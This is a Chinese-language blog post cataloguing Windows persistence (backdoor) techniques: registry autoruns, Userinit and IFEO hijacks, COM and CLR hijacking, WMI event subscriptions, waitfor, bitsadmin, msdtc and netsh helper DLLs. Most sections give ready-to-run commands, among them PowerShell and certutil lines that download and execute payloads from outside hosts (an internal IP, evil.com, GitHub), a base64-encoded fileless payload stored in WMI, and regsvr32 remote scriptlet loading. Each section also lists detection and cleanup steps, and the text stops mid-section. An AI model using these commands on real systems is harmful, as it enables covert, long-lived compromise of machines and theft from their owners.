权限维持方法小结

admin 2022年7月28日22:57:34评论72 views字数 32152阅读107分10秒阅读模式


权限维持方法小结



前言

小结下权限维持方法

一、Windows

1、密码记录工具

(1)WinlogonHack

WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截取 Windows XP 以及 Windows 2003 Server

可参考使用winlogonhack获取系统密码

(2)键盘记录器

安装键盘记录器可以记录管理员一切的密码,比如说邮箱,WEB 网页密码等等

(3)NTPass

获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令

很老很老的一个工具,基本已经没法用了,权做了解

2、常用的存储Payload位置

(1)WMI

存储:

$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)$StaticClass.Name = 'Win32_Command'$StaticClass.Put()$StaticClass.Properties.Add('Command' , $Payload)$StaticClass.Put() 

读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

(2)包含数字签名的PE文

利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名

(3)特殊ADS

可参考Hidden Alternative Data Streams的进阶利用技巧

type putty.exe > ...:putty.exewmic process call create c:testads...:putty.exe


特殊COM文件

type putty.exe > \.C:testadsCOM1:putty.exewmic process call create \.C:testadsCOM1:putty.exe


磁盘根目录

type putty.exe >C::putty.exe wmic process call create C::putty.exe

3、注册表

注册表可以理解为一个树状结构的数据库,它具有一些特殊的数据类型用来存储一些数据满足应用程序的需要
权限维持方法小结

(1)Run/RunOnce Keys

Run键值代表着开机启动项,也就是说在这个项下的键值会随着开机启动(这里的开机是指用户登录,也就是说只要有登录操作就会执行)

RunOnce键值类似于 Run 键值,唯一的区别在于,RunOnce 键值只执行一次,操作执行后会被自动删除

用户级

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce

管理员

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

检测及查杀

  • 检测注册表相关键值

  • Autoruns

(2)BootExecute Key

可以通过它来实现启动Natvice程序,Native程序在驱动程序和系统核心加载后将被加载,此时会话管理器(smss.exe)进行windowsNT用户模式并开始按顺序启动native程序。由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:

HKLMSYSTEMCurrentControlSetControlhivelistHKEY_LOCAL_MACHINESYSTEMControlSet002ControlSession Manager

上述注册表下有一个名为BootExecute的多字符串值键,它的默认值是autocheck autochk *,用于系统启动时的某些自动检查。这个启动项目里的程序是在系统图形界面完成前就被执行的,所以具有很高的优先级

检测及查杀:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlhivelistHKEY_LOCAL_MACHINESYSTEMControlSet002ControlSession Manager

(3)Userinit Key

Userinit注册表键的作用是在用户进行登陆时,WinLogon进程加载的指定的login scripts,可以更改它的值来添加与删除程序。具体键值:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

一般情况下,其默认值为userinit.exe,由于该子键的值中可使用逗号分隔开多个程序,因此,在键值的数值中可加入其它程序。

结合上面powershell中的msf方法,可以达到无文件后门效果:

Powershell实现:

Set-ItemProperty "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name Userinit -value "C:Windowssystem32userinit.exe,powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');"# powershell反弹shell的payload参照上面msf中的web_delivery模块

检测及查杀

查看HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit

(4)LogonScripts key

Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截

参考:Logon Scripts

具体键值:

HKEY_CURRENT_USEREnvironment

创建字符串键值: UserInitMprLogonScript
键值设置为bat的绝对路径:c:1.bat

检测及查杀

查看HKEY_CURRENT_USEREnvironmentUserInitMprLogonScript

(5)Startup Keys

开始菜单启动项,指示启动文件夹的位置,User Shell Folders优先于Shell Folders

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell FoldersHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

检测及查杀

检查相关注册表键值Process Explorer

(6)Browser Helper Objects

本质上是Internet Explorer启动时加载的DLL模块

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects

检测及查杀

检查注册表:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper ObjectsProcess Explorer

(7)AppInit_DLLs

注册表中默认存在两个注册表项:AppInit_DLLs和LoadAppInit_DLLs(win2003没有,但是可以新建),Use***.dll被加载到进程时,会读取AppInit_DLLs注册表项,如果有值,调用LoadLibrary() api加载用户dll。PS:xp系统会忽略LoadAppInit_DLLs注册表项

严格来讲,此dll注入不是注入到所有运行进程,而是注入到加载Use***.dll的进程中

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs


检测及查杀

检查注册表:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs查看异常dll文件通过Process Explorer查看进程加载dll

(8)文件关联

文件关联就是指系统把指定扩展名的文件自动关联到相应的应用程序,例如 .doc 默认打开方式是 Microsoft Word,当用户双击.doc文件时就会启动 Word 打开该文件。

Windows的资源管理器识别文件类型是由扩展名决定的(而并不是文件头决定文件类型)。首先扩展名会对应一种文件类型,这种文件类型的不同操作再对应到不同的具体命令。

比如:

.txt --> txtfile --> { "open": "notepad.exe %1", "edit": "notepad.exe %1", ... }文件扩展名与文件类型的对应关系,可以通过assoc命令查看或修改cmd> assoc .txt.txt=txtfilecmd> ftype txtfiletxtfile=%SystemRoot%system32NOTEPAD.EXE %1

相关的注册表:

HKEY_CURRENT_USERSoftwareClasse    //保存了当前用户的文件关联设置HKEY_LOCAL_MACHINESoftwareClasse   //保存了本机上所有用户的设置HKEY_CLASS_ROOT                      //上面两个位置下的键值合并,是为了访问方便而建立的视图HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts                                     //保存了右键选择"打开方式"改变默认的关联程序# 用户双击文件时查找顺序:# 首先检查...\FileExts\,找不到时查找HKCU,最后才是HKLM。因此检查一个文件是否与某个程序关联可以按照这个顺序检查。

检测及查杀

检查注册表:HKEY_LOCAL_MACHINESoftwareClasse 、HKEY_CLASS_ROOT通过Process Explorer查看进程加载文件

4、劫持功能

(1)映像劫持(IFEO)

映像劫持(Image File Execution Options)其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如"explorer.exe")发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的"dubugger"键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到"劫持"的虚假程序。

简单点说就是:当你打开的是程序A,而运行的却是程序B。

注册表位置:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

比如:

  • 找到注册表"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options"目录下的iexplore.exe

  • 添加一个Debugger字符串值(REG_SZ),并且赋值为calc.exe的执行路径"c:windowssystem32calc.exe"

  • 运行iexplore.exe即可执行calc.exe


# 命令行添加:# reg add "HKLMHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v debugger /t REG_SZ /d "c:windowssystem32calc.exe"

但是这样设置直接是可以看到的,根据文章隐蔽后门——Image File Execution Options新玩法了解到可以修改GlobalFlag的值,达到程序A静默退出结束后,会执行程序B的效果,且在注册表看不到具体值,同时Autorun检测不到。

首先下载GFlages.exe的安装器dbg的安装包:http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi1、点击关卡:Silent Process Exit2、image处填写需要劫持的软件,比如:notepad.exe3、Reporting Mode处勾选Enable Silent Process Exit Monitoring和Launch monitor process4、Monitor Process处填写需要执行的软件,比如:c:windowssystem32calc.exe5、应用->确定然后打开notepad.exe退出后即可看到calc.exe,同时notepad.exe对应的注册表中GlobalFlag无任何值# 命令行:# reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512# reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v ReportingMode /t REG_DWORD /d 1# reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /t REG_SZ /d  "c:windowssystem32calc.exe"

检测及查杀

  • 排查HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options以及HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit项值是否存在关联(上述例子即可在SilentProcessExit中看到c:windowssystem32calc.exe

  • 分析系统日志,日志ID为3000和3001,即有可能存在后门威胁

  • 直接删除IFEO项或者设置管理员不可修改

(2)COM劫持

COM(组件对象模型)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。为开发人员提供一个允许开发人员控制和操纵其他应用程序的对象的接口,每个COM对象都由一个名为CLSID的唯一ID定义,大多数COM类都在操作系统中注册,并由表示注册表中的类标识符(CLSID)的GUID标识,也就是说CLSID就是对象的***号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的。

  • COM是Component Object Model (组件对象模型)的缩写

  • COM组件由DLL和EXE形式发布的可执行代码所组成

  • COM与语言,平台无关

  • COM组件对应注册表中CLSID下的注册表键值

比如:

按下Ctrl+R打开运行窗口,输入:::{20D04FE0-3AEA-1069-A2D8-08002B30309D} -> 我的电脑::{645FF040-5081-101B-9F08-00AA002F954E} -> 回收站

使用ProcessMonitor可以看到应用程序的寻找过程:

1、HKEY_CURRENT_USERSoftwareClassesCLSID2、HKEY_CLASSES_ROOTCLSID3、HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionShellCompatibilityObjects


当进程寻找COM组件时,首先会寻找:HKCUSoftwareClassesCLSID,所以直接在CLSID下新建一个对象ID,就能够劫持某个进程或多个进程。

与DLL劫持原理相近,但是COM组件的劫持目标不一定是一个进程,也可以是一个Windows API,劫持所需的文件不一定是一个DLL,它可以是一个.com文件、二进制PE文件、DLL文件。

MSF中自带了利用COM劫持的模块:exploit/windows/local/bypassuac_comhijack,该模块同时直接可以绕过UAC,具体原理参考:COM Hijacking

(3)CLR

CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。无需管理员权限的后门,并能够劫持所有.Net程序。


cmd> SET COR_ENABLE_PROFILING=1cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111}# {11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值,只要和系统常用CLSID不冲突就行cmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll# 下载dllcmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll delete# 清除下载文件的缓存cmd> SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServe***# 新建子项{11111111-1111-1111-1111-111111111111}InProcServe***cmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F# 新建REG_SZ类型键值ThreadingModel:Apartmentcmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /F# 修改默认路径值为msg.dll的路径cmd> 当前cmd下启动.net程序,比如:powershell,即可执行dll

DLL编写参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

要使CLR能够劫持系统中全部.net程序,需要设置环境变量,可以图形化界面操作,也可以使用WMI(通过WMI修改环境变量需要系统重启或注销重新登录才能生效)。

x86系统

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServe***REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

x64系统

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deletecertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServe***REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg_x64.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F SET KEY=HKEY_CURRENT_USERSoftwareClassesWoW6432NodeCLSID{11111111-1111-1111-1111-111111111111}InProcServe***REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

POC: https://github.com/3gstudent/CLR-Injection

检测及查杀

  • 检查环境变量COR_ENABLE_PROFILING和COR_PROFILER

  • 检查注册表键值HKEY_CURRENT_USERSoftwareClassesCLSID有无异常

(4)CAccPropServicesClass&MMDeviceEnumerato

通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。但是通过WMI添加环境变量需要重启系统。CAccPropServicesClass和MMDeviceEnumerato后门原理与之类似,但是不需要重启系统,同样也不需要管理员权限,同时可以绕过Autoruns对启动项的检测。

x86系统

1、新建文件在%APPDATA%MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-**579291692E}路径下加入后门dll文件;命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl2、修改注册表注册表位置:HKEY_CURRENT_USERSoftwareClassesCLSID创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}创建子项InprocServe***Default的键值为32位dll的绝对路径:C:UsersAdministratorAppDataRoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-**579291692E}api-ms-win-downlevel-1x86-l1-1-0._dl创建键值:ThreadingModel | REG_SZ | Apartment3、当打开ie或者其他程序时,就会执行加载的dll

x64系统


1、新建文件在%APPDATA%MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-**579291692E}路径下加入后门dll文件;命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl2、修改注册表1注册表位置:HKEY_CURRENT_USERSoftwareClassesCLSID创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}创建子项InprocServe***Default的键值为64位dll路径:C:UsersAdministratorAppDataRoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-**579291692E}api-ms-win-downlevel-1x64-l1-1-0._dl创建键值:ThreadingModel | REG_SZ | Apartment3、修改注册表2注册表位置:HKEY_CURRENT_USERSoftwareClassesWow6432NodeCLSID创建项{BCDE0395-E52F-467C-8E3D-**579291692E}创建子项InprocServe***Default的键值为32位dll路径:C:UsersAdministratorAppDataRoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-**579291692E}api-ms-win-downlevel-1x86-l1-1-0._dl创建键值:ThreadingModel | REG_SZ | Apartment4、当打开ie或者其他程序时,就会执行加载的dll

POC:https://github.com/3gstudent/COM-Object-hijacking

检测及查杀

  • 注册表键值
    HKEY_CURRENT_USERSoftwareClassesCLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
    HKEY_CURRENT_USERSoftwareClassesWow6432NodeCLSID{BCDE0395-E52F-467C-8E3D-**579291692E }

  • 文件路径
    %APPDATA%RoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-**579291692E}
    命名方式:api-ms-win-downlevel-[4char-random]-l1-1-0._dl

(5)MruPidlList

不同于上面两种COM劫持后门,前两种是被动触发的后门,MruPidlList是主动触发的后门

注册表位置:HKEY_CURRENT_USERSoftwareClassesCLSID创建项{42aedc87-2188-41fd-b9a3-0c966feabec1}创建子项InprocServe***Default的键值为dll的绝对路径:C:testcalc.dll创建键值:ThreadingModel | REG_SZ | Apartment

因为注册表对应COM对象MruPidlList,作用于shell32.dll,shell32.dll用于打开网页和文件,所以当系统启动时必定会执行,于是后门也就会主动启动,相当于一个主动后门。

直观的理解:系统在启动时默认启动进程explorer.exe,explorer.exe会调用shell32.dll,加载COM对象MruPidlList

此类型的后门多次被恶意软件使用:comRAT,ZeroAccess rootkit,bbsrat

检测和查杀

  • 查看、记录、监控注册表HKEY_CURRENT_USERSoftwareClassesCLSID的写入和修改操作

(6)Userland Persistence With Scheduled Tasks

劫持计划任务UserTask,在系统启动时加载dll

可参考:Userland registry hijacking


function Invoke-ScheduledTaskComHandlerUserTask{[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]Param ([Parameter(Mandatory = $True)][ValidateNotNullOrEmpty()][String]$Command,
[Switch]$Force)$ScheduledTaskCommandPath = "HKCU:SoftwareClassesCLSID{58fb76b9-ac85-4e55-ac04-427593b1d060}InprocServer32"if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){New-Item $ScheduledTaskCommandPath -Force |New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null}else{Write-Verbose "Key already exists, consider using -Force"exit}
if (Test-Path $ScheduledTaskCommandPath) {Write-Verbose "Created registry entries to hijack the UserTask"}else{Write-Warning "Failed to create registry key, exiting"exit} }Invoke-ScheduledTaskComHandlerUserTask -Command "C:testtestmsg.dll" -Verbose

(7)DLL劫持

Rattler:https://github.com/sensepost/rattler
参考:DLL劫持漏洞自动化识别工具Rattler测试
一个DLL分析工具:https://github.com/Yonsm/AheadLib

(8)AppDomainManager

针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制

参考:Use AppDomainManager to maintain persistence

5、系统软件

(1)wmi

WMI(Windows Management Instrumentation)即 Windows 管理规范,由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。

WMI相关知识参考:

  • https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

  • WMI Attacks: http://drops.xmd5.com/static/drops/tips-8189.html

  • WMI Backdoor: http://drops.xmd5.com/static/drops/tips-8260.html

  • WMI Defense: http://drops.xmd5.com/static/drops/tips-8290.html

特性

  • 不在Client和Server留下任何文件,实际位于硬盘上的一个复杂的数据库中(objects.data)

  • 不改动注册表

  • 仅使用powershell实现

存储payload

# 管理员权限powershell> $StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)powershell> $StaticClass.Name = 'Win32_EvilClass'powershell> $StaticClass.Put()powershell> $StaticClass.Properties.Add('EvilProperty' , "This is payload")powershell> $StaticClass.Put()

隐蔽定时启动程序

# 管理员权限# 功能:每60s执行一次notepad.exepowershell> $filterName = 'BotFilter82'powershell> $consumerName = 'BotConsumer23'# 创建一个__EventFilter,用于设定触发条件,每隔60s执行一次powershell> $exePath = 'C:WindowsSystem32notepad.exe'powershell> $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERETargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"powershell> $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "rootsubscription" -Arguments @{Name= $filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop# 创建一个CommandLineEventConsumer,用于设定执行的操作powershell> $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @{ Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}# 用于绑定filter和consumerpowershell> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

Example:

通常是通过powershell进行调用,配合schtasks进行定时启动,绕过杀软,也可以执行JavaScript脚本。

#!powershell$filterName = 'filtP1'$consumerName = 'consP1'$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"    $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"    $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop    $WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "rootsubscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command}    Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

通过远程下载js脚本,进行命令调用。

  • 优点:无文件落地

  • 缺点:目前杀软对powershell这类监管较严格,容易被发现

检测及查杀

检测:1、查看当前WMI Event(管理员权限)#List Event FiltersGet-WMIObject -Namespace rootSubscription -Class __EventFilter#List Event ConsumersGet-WMIObject -Namespace rootSubscription -Class __EventConsumer#List Event BindingsGet-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding2、查看日志Microsoft-Windows-WinRM/OperationalMicrosoft-Windows-WMI-Activity/OperationalMicrosoft-Windows-DistributedCOM3、AutorunsSysinternals Autoruns只能检测到ActiveScriptEventConsumer和CommandLineEventConsumer的操作,可以理解为上述对进程和注册表监视的操作无法识别
查杀:1、清除后门(管理员权限)#FilterGet-WMIObject -Namespace rootSubscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose#ConsumerGet-WMIObject -Namespace rootSubscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose#BindingGet-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose2、甚至禁用Winmgmt服务从根本上阻止该方法的使用其他方法参考:http://drops.xmd5.com/static/drops/tips-8290.html

(2)Waitfor.exe

Waitfor是用来接收或发送来自同一域内主机的信号。位于System32文件夹下,以命令行方式启动。

参考:Use Waitfor.exe to maintain persistence

思路1:有文件

1、在目标系统保存一个powershell脚本c:waitfor1.ps1,内容为:start-process calc.execmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:waitfor1.ps12、等待接受信号waitfor persist1 && powershell -executionpolicy bypass -file c:waitfor1.ps13、发送信号waitfor /s 127.0.0.1 /si persist1#测试时不可持续利用

思路2:无文件

PowerShell> $StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)PowerShell> $StaticClass.Name = 'Win32_Backdoor'PowerShell> $StaticClass.Put()| Out-NullPowerShell> $StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApA**AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")PowerShell> $StaticClass.Put() | Out-Null# 使用base64编码存储payloadPowerShell> $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;# 读取payloadPowerShell> iex $exec | Out-Null# 执行payload# 也可将上述命令存储为文件,然后执行该文件# https://github.com/3gstudent/Waitfor-Persistence/blob/master/Waitfor-Persistence.ps1# cmd> powershell -executionpolicy bypass .Waitfor-Persistence.ps1激活后门:cmd> waitfor /s 127.0.0.1 /si persist#测试时可持续利用

POC:https://github.com/3gstudent/Waitfor-Persistence

检测及查杀

  • 留意后台进程waitfor.exe

  • 使用Process Explorer查看后台可疑的cmd.exe和powershell.exe进程的启动参数

(3)bitsadmin

bitsadmin.exe是windows自带的可用于创建下载或上载作业并监视其进度,bistadmin可以指定下载成功之后要进行什么命令。可绕过autorun、常见杀软检测。

bitsadmin /create backdoor# 创建任务bitsadmin /addfile backdoor %comspec% %temp%cmd.exe# 下载本地文件bitsadmin.exe /SetNotifyCmdLine backdoor regsv***.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"# 增加cmd参数,利用regsv***技巧,解决命令执行弹框问题bitsadmin /Resume backdoor# 执行任务

检测及查杀

列出所有任务bitsadmin /list /allusers /verbose删除某个任务bitsadmin /cancel <Job>删除所有任务bitsadmin /reset /allusers获取任务创建时间bitsadmin /GetCreationTime <Job>

(4)msdtc

MSDTC,是微软分布式传输协调程序,Windows系统默认启动该服务。当计算机加入域中,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSDTCMTxOCI

分别加载3个DLL:oci.dll,SQLLib80.dll,xa80.dll

然而Windows系统默认并不包含oci.dll所以可以将payload.dll重名为oci.dll并保存在%windir%system32

域中的计算机启动服务MSDTC时就会加载该dll,实现代码执行。

利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测。

参考:Use msdtc to maintain persistence

检测及查杀

  • 检测%windir%system32是否包含可疑oci.dll

  • taskkill /f /im msdtc.exe

  • Procmon

  • 对于普通用户主机,建议禁用服务MSDTC

(5)Netsh

netsh是windows系统本身提供的功能强大的网络配置命令行工具

可参考:Netsh persistence

netsh add helper c:testnetshtest.dll

helper dll添加成功后,每次调用netsh,均会加载c:testnetshtest.dll

dll编写:https://github.com/outflanknl/NetshHelperBeacon

检测及查杀

检查:检查注册表位置:HKEY_LOCAL_MACHINESOFTWAREMicrosoftNetSh通过Process Explorer查看netsh进程加载的dll通过Process Monitor查看进程属性Event Properties
清除:netsh delete helper c:testnetshtest.dll在HKEY_LOCAL_MACHINESOFTWAREMicrosoftNetSh删除对应键值

(6)DoubleAgent

该方式主要是对微软系统自带的Application Verifier(应用程序检验器)进行利用

参考:渗透测试中的Application Verifier(DoubleAgent利用介绍)

利用过程如下:

  • 编写自定义Verifier provider DLL

  • 通过Application Verifier进行安装

  • 注入到目标进程执行payload

  • 每当目标进程启动,均会执行payload,相当于一个自启动的方式

命令行添加:appverif /verify notepad.exe命令行删除:appverif /n notepad.exe

POC : https://github.com/Cybellum/DoubleAgent

检测及查杀

监控注册表键值HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File 查看c:windowssystem32下有无可疑dll

(7)Office

利用劫持系统的DLL,执行相关命令,同时可绕过Autoruns的后门检测。主要有两种方法:

  • 劫持office特定功能

  • 利用Office加载项

劫持Office软件的特定功能

通过DLL劫持,在Office软件执行特定功能时触发后门劫持Word-审阅-视图【管理员权限】:位于C:Program FilesCommon Filesmicrosoft sharedRRLoc14LOCALSVC.DLL劫持word-插入-图片【TrustedInstaller权限】:位于C:Program FilesCommon Filesmicrosoft sharedinktiptsf.dll劫持word-文件-页面布局-主题-浏览主题【管理员权限】:位于C:Program FilesMicrosoft OfficeOffice142052GrooveIntlResource.dll劫持Excel-插入-图片【管理员权限】:位于C:Program FilesCommon Filesmicrosoft sharedOFFICE14MSPTLS.DLL

利用Office加载项

  • Word WLL

  • Excel XLL

  • Excel VBA add-ins

  • PowerPoint VBA add-ins

以word为例:

